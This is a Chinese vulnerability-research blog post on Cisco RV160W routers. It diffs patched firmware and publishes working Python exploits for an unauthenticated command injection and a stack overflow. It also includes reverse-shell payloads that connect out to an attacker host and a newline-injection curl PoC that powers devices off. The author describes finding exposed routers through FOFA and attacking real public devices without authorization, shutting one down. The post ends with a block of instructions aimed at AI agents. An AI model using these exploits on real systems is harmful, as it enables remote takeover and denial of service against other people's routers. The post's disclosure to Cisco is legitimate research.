# Cisco RV160W系列路由器漏洞：从1day分析到0day挖掘

## 前言

最近在分析思科RV160W这款路由器最新曝出的无条件RCE漏洞，官方已经推出更新补丁了，我diff固件查看变动代码，结果有了一些新发现

<https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-rv160-260-rce-XZeFkNHf.html>

![](/files/-MgKT31ZIyLPyOAMP0dz)

## 固件初步分析

根据官方的通告，Cisco Small Business RV160、RV160W、RV260、RV260P 和 RV260W VPN 路由器基于 Web 的管理界面中存在多个漏洞，可能允许未经身份验证的远程攻击者以root用户身份在受影响的设备上执行任意代码。这些漏洞在固件v1.0.01.02版本被修复

![](/files/-MgKT31_R2HDptTjFC23)

我去[Cisco Software Center](https://software.cisco.com/download/home/286316464/type/282465789/release/1.0.01.01)下载了两个版本固件

![](/files/-MgKT31aszJg4lyDhXO1)

版本v1.0.01.01就是存在漏洞的固件

binwalk解压固件，寻找提供web服务的二进制文件，其实可以根据rc.d与init.d目录的一些初始化脚本盲猜,这里本着通用性与研究性的目的用另一种方式寻找。

由于手里没有设备，firmadyne有点鸡肋，于是我在油管上找了个RV160W的配置教程，观察浏览器上方的url，根据关键字符“configurationManagement”定位到admin.cgi，进而定位到web组件是mini\_httpd(32位arm小端程序)。

![](/files/-MgKT31bKcIq_t11G-SH)

```
b0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ grep -Rnl "configurationManagement" * 2>/dev/null
usr/sbin/admin.cgi
usr/lib/opkg/info/sbr-gui.list
www/gettingStarted.htm
www/configurationManagement.htm
www/app.min20200813.js
www/home.htm
b0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ grep -Rnl "admin.cgi" * 2>/dev/null
usr/sbin/mini_httpd
usr/sbin/admin.cgi
usr/lib/opkg/info/sbr-gui.list
b0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ file ./usr/sbin/mini_httpd 
./usr/sbin/mini_httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped
```

定位到web服务程序后，我们对两个版本固件的mini\_httpd程序进行二进制代码对比(当然也有对 admin.cgi 进行对比，也存在不少改动代码，但这次我只关注mini\_httpd组件部分)

最经典的是[bindiff](https://www.zynamics.com/software.html)这款工具，但是我用它并没有找到关键代码改动部分

![](/files/-MgKT31c7l6KrWcMRKpU)

![](/files/-MgKT31dF0gFKT2aiTgr)

之后又使用了一款IDA插件[diaphora](https://github.com/joxeankoret/diaphora),导出sqlite数据库后进行对比，发现 mini\_httpd2 的 sub\_1B034 函数（对应mini\_httpd1的sub\_1AF58函数）和sub\_15CE4函数（对应mini\_httpd1的sub\_15CE4函数）改动较明显。

![](/files/-MgKT31eopF0W3am2MqJ)

![mini\_httpd1](/files/-MgKT31faJivpT2jYESI)

**分析sub\_1AF58函数改动部分**

分别定位到两个程序相关代码部分

mini\_httpd1

![mini\_httpd1](/files/-MgKT31g9OjKJnQ9H9eA)

mini\_httpd2

![mini\_httpd2](/files/-MgKT32Im5S0HgZZKSCL)

在新版本的sub\_1B340中，将格式化后的v3作为参数传递给system，在这之前v3经过了一次sub\_1B034函数

sub\_1b034函数是新加入的，里面大概是过滤字符的功能

![](/files/-MgKT31iYyW27rR6uSDc)

这里已经不能再明显了，system函数处存在命令注入，于是mini\_httpd2用过滤危险字符的方式修复了这个漏洞。

**分析sub\_15CE4函数改动部分**

mini\_httpd1

![mini\_httpd1](/files/-MgKT31jb58sBI_dbleZ)

mini\_httpd2

![mini\_httpd2](/files/-MgKT31kTnOJqtje0LaK)

将strcpy函数替换成了strncpy函数。断定此处strcpy存在栈溢出漏洞。

对固件的初步逆向分析后，基本判定老版本固件至少存在命令注入和栈溢出这两个漏洞。

## 固件模拟

模拟httpd服务,为了之后附加进程调试，我选用qemu系统模式进行模拟。

拷贝1.0.01.01固件文件系统进qemu，挂载一些关键目录后以chroot执行sh.

```
root@debian-armhf:~/rootfs# ls
bin  etc  media  overlay  rom    sbin  test_scripts  usr  www
dev  lib  mnt     proc      root    sys   tmp        var
root@debian-armhf:~/rootfs# mount -t proc  /proc/ ./proc/
root@debian-armhf:~/rootfs# mount -t devtmpfs /dev/ ./dev/
root@debian-armhf:~/rootfs# chroot . ./bin/sh

BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash)

/ #
```

在运行mini\_httpd之前可能需要初始化环境目录，这些往往都在rc.d与init.d启动脚本里面，所以全局搜索引用“mini\_httpd”的地方

```
b0ldfrev@ubuntu:~/cve/RV160W/rootfs$ grep -Rnl "mini_httpd" * 2>/dev/null
etc/scripts/mini_httpd/mini_httpd.sh
etc/rc.d/S23mini_httpd.init
etc/init.d/mini_httpd.init
etc/init.d/config_update.sh
usr/sbin/mini_httpd
usr/sbin/admin.cgi
usr/lib/opkg/info/sbr-gui.list
```

发现`etc/scripts/mini_httpd/mini_httpd.sh` 与 `etc/rc.d/S23mini_httpd.init` 与 `etc/init.d/mini_httpd.init` 这些里面的内容都差不多，大概都是初始化一些文件然后最终启动`/usr/sbin/mini_httpd`

```
#!/bin/sh /etc/rc.common

START=23

version_gt() {
    test "$(echo "$@" | tr " " "\n" | sort -n | head -n 1)" != "$1";
}
get_version() {
    version=`cat $1 | grep "\"VERSION\"" | awk -F '"' '{print $4}'`
    if [[ "${version/V/}" != "$version" ]]; then
        version=`echo $version | awk -F 'V' '{print $2}'`
    fi
    echo $version
}
start() {
    fwLgPath="/www/lang"
    mntLgPath="/mnt/packages/languages"
    mkdir -p /tmp/download
    mkdir -p /tmp/download
    mkdir -p /tmp/download/certificate
    mkdir -p /tmp/download/log
    mkdir -p /tmp/download/configuration
    mkdir -p /tmp/www
    mkdir -p /tmp/portal_img
    if [ ! -d /mnt/packages/languages ]; then
        mkdir -p /mnt/packages/languages
        cp -rf ${fwLgPath}/* ${mntLgPath}
    else
        # check version
        list="English Spanish Frensh German Itailian"
        for i in $list; do
            if [ -f ${fwLgPath}/${i}.js ]; then
                if [ -f ${mntLgPath}/${i}.js ]; then
                    tmp_version=`cat ${mntLgPath}/${i}.js | grep "\"VERSION\"" | awk -F '"' '{print $4}'`
                    fw_version=$(get_version ${fwLgPath}/${i}.js)
                    mnt_version=$(get_version ${mntLgPath}/${i}.js)
                    if [[ "${tmp_version/V/}" != "$tmp_version" ]]; then
                        cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js
                    elif ! version_gt $mnt_version $fw_version; then
                        cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js
                    fi
                else
                    cp ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js
                fi
            fi
        done
    fi

    /etc/scripts/mini_httpd/mini_httpd.sh start
}

stop() {
    /etc/scripts/mini_httpd/mini_httpd.sh stop
}

reload() {
    /etc/scripts/mini_httpd/mini_httpd.sh reload
}
```

我试着运行了一个

```
/ # /etc/init.d/mini_httpd.init
uci: Entry not found
Syntax: /etc/init.d/mini_httpd.init [command]

Available commands:
    start    Start the service
    stop    Stop the service
    restart    Restart the service
    reload    Reload configuration files (or restart if that fails)
    enable    Enable service autostart
    disable    Disable service autostart

/ # /etc/init.d/mini_httpd.init start
uci: Entry not found
ls: /mnt/configcert/confd/startup/: No such file or directory
use backup cert for mini-httpd ...
1 0 0 0
setsockopt SO_REUSEADDR: Protocol not available
setsockopt SO_REUSEADDR: Protocol not available
/usr/sbin/mini_httpd: can't bind to any address
/ #
```

发现报错can't bind to any address，这个报错在mini\_httpd程序中，此时一些文件其实已经初始化了，我们可以只关注mini\_httpd程序本身。

我们直接运行mini\_httpd，同样的报错

```
/ # /usr/sbin/mini_httpd 
setsockopt SO_REUSEADDR: Protocol not available
setsockopt SO_REUSEADDR: Protocol not available
/usr/sbin/mini_httpd: can't bind to any address
```

错误原因是setsockopt函数在调用时协议参数不合法，经过一番尝试后无果；最后想到这种设置套接字属性的函数，其实hook掉对连接的影响也不是很大，关键服务能起来就行。

定位到程序报错点，是setsockopt失败返回负值导致的错误。

![](/files/-MgKT31lHbU4WQzJpinN)

我索性将setsockopt函数hook全返回1

```c
/*arm-linux-gnueabi-gcc -shared -fPIC hook.c -o hook  */
#include <stdio.h>
#include <stdlib.h>
#include<sys/socket.h>

int setsockopt(int sockfd, int level, int optname,
                      const void *optval, socklen_t optlen)
{

return 1;
}
```

```
BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash)

/ # LD_PRELOAD="/hook" ./usr/sbin/mini_httpd
bind: Address already in use
/ # ./usr/sbin/mini_httpd: started as root without requesting chroot(), warning only

/ # ps |grep mini_httpd
 2364 root      3540 S    ./usr/sbin/mini_httpd
 2369 root      3120 S    grep mini_httpd
```

可以看到服务跑起来了，访问试试

![](/files/-MgKT31mck-oRTkwGeb4)

根据403字符定位到程序中

![](/files/-MgKT31n3qe5HBBqNga3)

![](/files/-MgKT31oHVAxdAcT3IJ6)

执行sub\_1b5f0函数后就退出了，猜测是某些环境变量的问题，这里为了不改变代码逻辑，我直接patch mini\_httpd程序代码块，把跳转 sub\_1B5F0的地方nop掉

![before\_nop](/files/-MgKT31pL1-yamXpk6Zj)

![nop](/files/-MgKT31qZD_gMJK0yJwz)

再次执行程序后访问web

![](/files/-MgKT31rtFuGFd482v8s)

## 固件逆向分析与调试

接下来就是对mini\_httpd的详细逆向过程，其实就是寻找触发路径。

### 命令注入漏洞分析

我把漏洞触发函数改成了vuln，以及调用vuln的上层函数vuln\_back1，上上层函数vuln\_back2........

![](/files/-MgKT31sd2MB-MwkEbqy)

#### vuln\_back2

在vuln\_back2中看出，我们只需要contrl\_arg字符串里面包含`"dniapi/"`即可进入vuln\_back1

![vuln\_back2](/files/-MgKT31tcd_lfGxt-HeU)

在往上看，contrl\_arg被赋值成dword\_34F60 + 1，并且dword\_34F60第一个字符必须为`'/'`,这里可以猜测contrl\_arg是一个请求行的URL

![vuln\_back2](/files/-MgKT31uhV1oYOJ06INq)

为了验证我的猜测，动态调试一下，由于所有的请求都被放在了fork子进程中处理。我这里暂时为了方便调试，hook了fork函数返回0，构造了`GET /hello.txt`

![](/files/-MgKT31vmIOvcNpIk7Ut)

![](/files/-MgKT31w7uAciOnirMxb)

![](/files/-MgKT31xGguNHtiJqs9E)

#### vuln\_back1

在vuln\_back1中判断了contrl\_arg是否是相关字符，不是就会去执行vuln，调用vuln时传入了contrl\_arg这个参数

![vuln\_back1](/files/-MgKT31yUVrwGYAZxtY4)

#### vuln

vuln函数里面还有最后一层判断，必须让contrl\_arg的前9个字符等于`"download/"`

![vuln](/files/-MgKT31z14VmzxqrxPAH)

所以综上，我们可以构造GET请求URL为"/download/dniapi/"，为了能触发system函数，我还需要调整contrl\_cmd的值为`"Basic "`

查找引用，发现在vuln\_back2函数中给contrl\_cmd赋值

![vuln\_back2](/files/-MgKT32-2FP-dZssvjKD)

大胆猜测，这里就是HTTP的head的Authorization字段

综上，最终能触发到system函数的请求大致如下(当然实际还需添加一些标准head)

```
GET /download/dniapi/ HTTP/1.1
Authorization: Basic xxxxxxxxxxxxxxxxxxxxxxxxx
```

vuln通过sub\_1E19C函数处理`contrl_cmd + 6`（`Basic`之后的字符串），结果放入v5，最终将v5作为拼接命令的一部分。

![](/files/-MgKT320v-D-KFQAVOq-)

![table](/files/-MgKT321i9LG191DW6ql)

3字节一组，以及明显的base64解码字符表，经验证sub\_1E19C就是base64解密函数。

所以只需要将请求`Authorization: Basic`后的字符换成想要执行命令的base64编码形式，同时用`;`字符截断原有的curl命令，就可以执行任意命令，下面以date命令为例。

![](/files/-MgKT322JFJhquxpbHbk)

![](/files/-MgKT3236mtOdKZ6x9K_)

### Command Inject EXP

```python
import requests
import sys
import base64
import urllib3

if len(sys.argv)!=3:
    print "Parameter error. python exp.py url \"command\""
    exit(0)

url = sys.argv[1]
cmd =  sys.argv[2]

CMD=";"+cmd+";"
CMD=base64.b64encode(CMD)

header = {'Authorization':"Basic "+CMD}

urllib3.disable_warnings()

if url[-1:]=='/':
   url=url[:-1]
r = requests.get(url+"/download/dniapi/", headers=header,verify=False)

print "DONE!"
```

### 栈溢出漏洞分析

同样我将漏洞触发函数重命名成overflow,上层函数overflow\_back1、overflow\_back2

在vuln\_back2函数里，处理 cookie 并且作为参数传入overflow\_back2函数。

![](/files/-MgKT324JDW3f-QC0Blc)

![](/files/-MgKT325CHn8A0QE4w-x)

在这之前会有一个check，检查当前请求的url资源内容是否是需要登录才能访问

![](/files/-MgKT3264LJP-wSG2uJ_)

所以这里需要请求这些资源，使其返回1。

![](/files/-MgKT327CHhb9tJJUYdF)

overflow\_back2里判断cookie不为空后进入overflow\_back1

![](/files/-MgKT328ZPW4nuNAqekR)

然后就是检索cookie是否包含sessionID，包含的话，将其以空格分隔后，传入overflow函数

![](/files/-MgKT329KQ4Rbkd3-MvU)

overflow函数中形参a2指向空字符，所以其实最后就是未限制sessionID长度在strcpy时的溢出。

![](/files/-MgKT32AVL_zNEwuXbeX)

POC如下：

```python
import requests
import urllib3
import sys

url = sys.argv[1]

if url[-1:]=='/':
   url=url[:-1]

cmd="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac"

payload = "sessionID="+cmd

urllib3.disable_warnings()

url= url+"/help"
head= {'Cookie':payload}
r=requests.get(url,headers=head,verify=False)

print(r)
print(r.text)
print(r.content)
```

![](/files/-MgKT32BEGtDsrUpDEhy)

分析crash结果，得知是在overflow函数返回前抛出的内存引用异常。原因是数据过长，覆盖了压入栈中的第五个参数a5，它刚好位于返回地址下方，导致最后一个strcpy往a5变量地址写数据时，该地址不合法。

所以为了能够保证利用，需要刚好覆盖到overflow函数的返回地址。

经过调试，测得偏移为268,POC如下：

```python
import requests
import urllib3
import sys

url = sys.argv[1]

if url[-1:]=='/':
   url=url[:-1]

payload = "sessionID=1234".ljust(268,"a")+"bbb"

urllib3.disable_warnings()

url= url+"/help"
head= {'Cookie':payload}
r=requests.get(url,headers=head,verify=False)

print(r)
print(r.text)
print(r.content)
```

![](/files/-MgKT32Cn2wRFZKhFV2W)

![](/files/-MgW_wFLOpwFQzc8zdrT)

可以看到返回地址被覆盖成了bbb（0x626262），且可以观察到此时的r0寄存器指向sessionID=后的字符串1234...，因此可以在sessionID=后放置命令字符串，然后控制PC跳转到system函数上。由于cookie在overflow\_back1函数中被过滤了空格，在overflow中被过滤了等号，导致命令执行受限，空格可以用${IFS}替换，等号只能避免使用了。

![](/files/-MgKT32DP3kXLx1Stf-D)

### Stack Overflow EXP

关于system执行命令，我并不想去另寻僻径去ROP或者是上传后门程序，我尝试了很多技巧，最终以这种较为简单且通用的方式弹shell（输入与输出分离）。

```python
import requests
import urllib3
import sys


if len(sys.argv)!=5:
    print "Parameter error. python exp.py url reverse_shell_host input_port output_port"
    exit(0)


url = sys.argv[1]
reverse_shell_host =  sys.argv[2]
input_port= sys.argv[3]
output_port= sys.argv[4]


if url[-1:]=='/':
   url=url[:-1]


cmd="telnet "+reverse_shell_host+" "+input_port+" | /bin/sh | telnet "+reverse_shell_host+" "+output_port

cmd2=cmd.replace(' ',"${IFS}")


payload = ("sessionID="+cmd2+";").ljust(268,"a")
payload += "\x1c\xb1\x01"


urllib3.disable_warnings()

url= url+"/help"
head= {'Cookie':payload}
r=requests.post(url,headers=head,verify=False)

print(r)
print(r.text)
print(r.content)
```

## 本地测试

以Command Inject EXP为例：

```
python exp.py http://192.168.122.12 "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.122.11\",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
```

![](/files/-MgKT32EKlUGxyRM7q_O)

## 真实设备测试

由于我手里没有真实设备,只能找一些公网上的设备验证。

用burpsuit抓包获取设备特征

![](/files/-MgKT32FzN4rzZKT3uCo)

`Content-Security-Policy:`是一个很明显的特征

在fofa上搜索 `header="frame-ancestors 'self' 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline' 'unsafe-eval'"`

我这里只搜索了巴西的

![](/files/-MgKT32Gn9hscFU8zC4N)

用exp打来试试

![](/files/-MgKT32HhD7i2lWjjXaF)

## 收获0day

一开始我补丁比较的时候就发现，v1.0.01.02固件在sprintf之前加入了字符过滤函数 ![](/files/-MgKT32Im5S0HgZZKSCL)

该函数完整代码如下

```c
_BYTE *__fastcall filer(_BYTE *output, _BYTE *input, int a3_1024)
{
  _BYTE *v3; // r3
  _BYTE *v4; // r3
  _BYTE *v5; // r3
  _BYTE *v6; // r3
  _BYTE *v7; // r3
  _BYTE *v8; // r2
  int v9; // [sp+10h] [bp-14h]
  _BYTE *v10; // [sp+14h] [bp-10h]
  int v12; // [sp+1Ch] [bp-8h]
  int v13; // [sp+1Ch] [bp-8h]
  int v14; // [sp+1Ch] [bp-8h]

  v12 = 0;
  v9 = a3_1024 - 1;
  v10 = output;
  while ( *input )
  {
    if ( *input == '~'
      || *input == '`'
      || *input == '#'
      || *input == '$'
      || *input == '&'
      || *input == '*'
      || *input == '('
      || *input == ')'
      || *input == '|'
      || *input == '['
      || *input == ']'
      || *input == '{'
      || *input == '}'
      || *input == ';'
      || *input == '\''
      || *input == '"'
      || *input == '<'
      || *input == '>'
      || *input == '/'
      || *input == '?'
      || *input == '!'
      || *input == ' '
      || *input == '='
      || *input == '\t' )
    {
      v3 = v10++;
      *v3 = '\\';
      if ( ++v12 >= v9 )
        break;
    }
    else if ( *input == '\\' )
    {
      v4 = v10++;
      *v4 = '\\';
      v13 = v12 + 1;
      if ( v13 >= v9 )
        break;
      v5 = v10++;
      *v5 = '\\';
      v14 = v13 + 1;
      if ( v14 >= v9 )
        break;
      v6 = v10++;
      *v6 = '\\';
      v12 = v14 + 1;
      if ( v12 >= v9 )
        break;
    }
    v7 = v10++;
    v8 = input++;
    *v7 = *v8;
    if ( ++v12 >= v9 )
      break;
  }
  *v10 = 0;
  return output;
}
```

经分析，它的功能主要是检索字符串，一旦检测到敏感字符，就将在该字符前面加上一个转义符`"\"`

比如我们构造命令`ls -all`,被它处理后字符变成了`ls\ -all`

我试了各种方法，都无法绕过

但是我发现它并没有过滤换行符`"\n"`，这可以让我们使用换行符截断命令，但是我们只能执行一些环境变量目录下的程序，并且还不能跟参数，可能的用处是开启一些对外的接口比如telnetd或其它。

但这也是一个很严重的过滤缺陷，因为我们可以构造`"\npoweroff\n"`来使路由器关机，这直接是拒绝服务攻击了

![](/files/-MgKT32JjGA8X-27o7Rl)

### EXP

根据上面Command Inject EXP代码，将字符拼接处的;换成\n即可。

```python
# affect firmware version <1.0.01.04
import requests
import sys
import base64
import urllib3

if len(sys.argv)!=3:
    print "Parameter error. python exp.py url \"command with no parameters\""
    exit(0)

url = sys.argv[1]
cmd =  sys.argv[2]

CMD="\n"+cmd+"\n"
CMD=base64.b64encode(CMD)

header = {'Authorization':"Basic "+CMD}

urllib3.disable_warnings()

if url[-1:]=='/':
   url=url[:-1]
r = requests.get(url+"/download/dniapi/", headers=header,verify=False)

print "DONE!"
```

### 测试

尝试过注入telnetd命令来开启telnetd服务

![](/files/-MgKT32K_znNCmt72b1T)

但经1day打进去的公网设备验证发现，该系列路由器里没有配置用户密码。

![](/files/-MgKT32L6r_c48O66Irt)

下面只尝试poweroff的命令注入（效果最直观明显）。POC如下

```
curl -i -s -k  -X $'GET' \
    -H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: local_lang=%22English%22; ru=0' -H $'Authorization: Basic CnBvd2Vyb2ZmCg==' -H $'Upgrade-Insecure-Requests: 1' -H $'If-Modified-Since: Wed, 07 Apr 2021 11:28:48 GMT' -H $'Cache-Control: max-age=0' \
    -b $'local_lang=%22English%22; ru=0' \
    $'https://127.0.0.1/download/dniapi/'
```

在公网上找了个用1day打getshell失败 但使用POC成功宕机的

![](/files/-MgKT32M7qjSqkp828IL)

![](/files/-MgKT32NR2K3hSmpqup7)

![](/files/-MgKT32OunngAP5ZkHbj)

### Notices

目前该漏洞已经提交给了思科厂商，思科已确认了该漏洞并修复。<https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-rv-code-execution-9UVJr7k4.html>

![](/files/-MgKT32PYi00WaOhnXwb)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://b0ldfrev.gitbook.io/note/cve/rv160w.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
